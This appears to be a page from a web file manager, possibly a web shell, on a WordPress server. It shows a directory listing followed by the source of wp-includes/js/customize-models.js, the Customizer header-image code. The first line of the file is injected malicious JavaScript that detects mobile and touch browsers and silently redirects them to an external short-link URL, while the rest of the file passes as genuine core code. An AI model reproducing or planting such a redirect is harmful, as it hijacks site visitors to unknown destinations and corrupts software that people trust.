run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄customize-models.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/customize-models.js
4 */
5
6/* global _wpCustomizeHeader */
7(function( $, wp ) {
8 var api = wp.customize;
9 /** @namespace wp.customize.HeaderTool */
10 api.HeaderTool = {};
11
12
13 /**
14 * wp.customize.HeaderTool.ImageModel
15 *
16 * A header image. This is where saves via the Customizer API are
17 * abstracted away, plus our own Ajax calls to add images to and remove
18 * images from the user's recently uploaded images setting on the server.
19 * These calls are made regardless of whether the user actually saves new
20 * Customizer settings.
21 *
22 * @memberOf wp.customize.HeaderTool
23 * @alias wp.customize.HeaderTool.ImageModel
24 *
25 * @constructor
26 * @augments Backbone.Model
27 */
28 api.HeaderTool.ImageModel = Backbone.Model.extend(/** @lends wp.customize.HeaderTool.ImageModel.prototype */{
29 defaults: function() {
30 return {
31 header: {
32 attachment_id: 0,
33 url: '',
34 timestamp: _.now(),
35 thumbnail_url: ''
36 },
37 choice: '',
38 selected: false,
39 random: false
40 };
41 },
42
43 initialize: function() {
44 this.on('hide', this.hide, this);
45 },
46
47 hide: function() {
48 this.set('choice', '');
49 api('header_image').set('remove-header');
50 api('header_image_data').set('remove-header');
51 },
52
53 destroy: function() {
54 var data = this.get('header'),
55 curr = api.HeaderTool.currentHeader.get('header').attachment_id;
56
57 // If the image we're removing is also the current header,
58 // unset the latter.
59 if (curr && data.attachment_id === curr) {
60 api.HeaderTool.currentHeader.trigger('hide');
61 }
62
63 wp.ajax.post( 'custom-header-remove', {
64 nonce: _wpCustomizeHeader.nonces.remove,
65 wp_customize: 'on',
66 theme: api.settings.theme.stylesheet,
67 attachment_id: data.attachment_id
68 });
69
70 this.trigger('destroy', this, this.collection);
71 },
72
73 save: function() {
74 if (this.get('random')) {
75 api('header_image').set(this.get('header').random);
76 api('header_image_data').set(this.get('header').random);
77 } else {
78 if (this.get('header').defaultName) {
79 api('header_image').set(this.get('header').url);
80 api('header_image_data').set(this.get('header').defaultName);
81 } else {
82 api('header_image').set(this.get('header').url);
83 api('header_image_data').set(this.get('header'));
84 }
85 }
86
87 api.HeaderTool.combinedList.trigger('control:setImage', this);
88 },
89
90 importImage: function() {
91 var data = this.get('header');
92 if (data.attachment_id === undefined) {
93 return;
94 }
95
96 wp.ajax.post( 'custom-header-add', {
97 nonce: _wpCustomizeHeader.nonces.add,
98 wp_customize: 'on',
99 theme: api.settings.theme.stylesheet,
100 attachment_id: data.attachment_id
101 } );
102 },
103
104 shouldBeCropped: function() {
105 if (this.get('themeFlexWidth') === true &&
106 this.get('themeFlexHeight') === true) {
107 return false;
108 }
109
110 if (this.get('themeFlexWidth') === true &&
111 this.get('themeHeight') === this.get('imageHeight')) {
112 return false;
113 }
114
115 if (this.get('themeFlexHeight') === true &&
116 this.get('themeWidth') === this.get('imageWidth')) {
117 return false;
118 }
119
120 if (this.get('themeWidth') === this.get('imageWidth') &&
121 this.get('themeHeight') === this.get('imageHeight')) {
122 return false;
123 }
124
125 if (this.get('imageWidth') <= this.get('themeWidth')) {
126 return false;
127 }
128
129 return true;
130 }
131 });
132
133
134 /**
135 * wp.customize.HeaderTool.ChoiceList
136 *
137 * @memberOf wp.customize.HeaderTool
138 * @alias wp.customize.HeaderTool.ChoiceList
139 *
140 * @constructor
141 * @augments Backbone.Collection
142 */
143 api.HeaderTool.ChoiceList = Backbone.Collection.extend({
144 model: api.HeaderTool.ImageModel,
145
146 // Ordered from most recently used to least.
147 comparator: function(model) {
148 return -model.get('header').timestamp;
149 },
150
151 initialize: function() {
152 var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''),
153 isRandom = this.isRandomChoice(api.get().header_image);
154
155 // Overridable by an extending class.
156 if (!this.type) {
157 this.type = 'uploaded';
158 }
159
160 // Overridable by an extending class.
161 if (typeof this.data === 'undefined') {
162 this.data = _wpCustomizeHeader.uploads;
163 }
164
165 if (isRandom) {
166 // So that when adding data we don't hide regular images.
167 current = api.get().header_image;
168 }
169
170 this.on('control:setImage', this.setImage, this);
171 this.on('control:removeImage', this.removeImage, this);
172 this.on('add', this.maybeRemoveOldCrop, this);
173 this.on('add', this.maybeAddRandomChoice, this);
174
175 _.each(this.data, function(elt, index) {
176 if (!elt.attachment_id) {
177 elt.defaultName = index;
178 }
179
180 if (typeof elt.timestamp === 'undefined') {
181 elt.timestamp = 0;
182 }
183
184 this.add({
185 header: elt,
186 choice: elt.url.split('/').pop(),
187 selected: current === elt.url.replace(/^https?:\/\//, '')
188 }, { silent: true });
189 }, this);
190
191 if (this.size() > 0) {
192 this.addRandomChoice(current);
193 }
194 },
195
196 maybeRemoveOldCrop: function( model ) {
197 var newID = model.get( 'header' ).attachment_id || false,
198 oldCrop;
199
200 // Bail early if we don't have a new attachment ID.
201 if ( ! newID ) {
202 return;
203 }
204
205 oldCrop = this.find( function( item ) {
206 return ( item.cid !== model.cid && item.get( 'header' ).attachment_id === newID );
207 } );
208
209 // If we found an old crop, remove it from the collection.
210 if ( oldCrop ) {
211 this.remove( oldCrop );
212 }
213 },
214
215 maybeAddRandomChoice: function() {
216 if (this.size() === 1) {
217 this.addRandomChoice();
218 }
219 },
220
221 addRandomChoice: function(initialChoice) {
222 var isRandomSameType = RegExp(this.type).test(initialChoice),
223 randomChoice = 'random-' + this.type + '-image';
224
225 this.add({
226 header: {
227 timestamp: 0,
228 random: randomChoice,
229 width: 245,
230 height: 41
231 },
232 choice: randomChoice,
233 random: true,
234 selected: isRandomSameType
235 });
236 },
237
238 isRandomChoice: function(choice) {
239 return (/^random-(uploaded|default)-image$/).test(choice);
240 },
241
242 shouldHideTitle: function() {
243 return this.size() < 2;
244 },
245
246 setImage: function(model) {
247 this.each(function(m) {
248 m.set('selected', false);
249 });
250
251 if (model) {
252 model.set('selected', true);
253 }
254 },
255
256 removeImage: function() {
257 this.each(function(m) {
258 m.set('selected', false);
259 });
260 }
261 });
262
263
264 /**
265 * wp.customize.HeaderTool.DefaultsList
266 *
267 * @memberOf wp.customize.HeaderTool
268 * @alias wp.customize.HeaderTool.DefaultsList
269 *
270 * @constructor
271 * @augments wp.customize.HeaderTool.ChoiceList
272 * @augments Backbone.Collection
273 */
274 api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({
275 initialize: function() {
276 this.type = 'default';
277 this.data = _wpCustomizeHeader.defaults;
278 api.HeaderTool.ChoiceList.prototype.initialize.apply(this);
279 }
280 });
281
282})( jQuery, window.wp );
283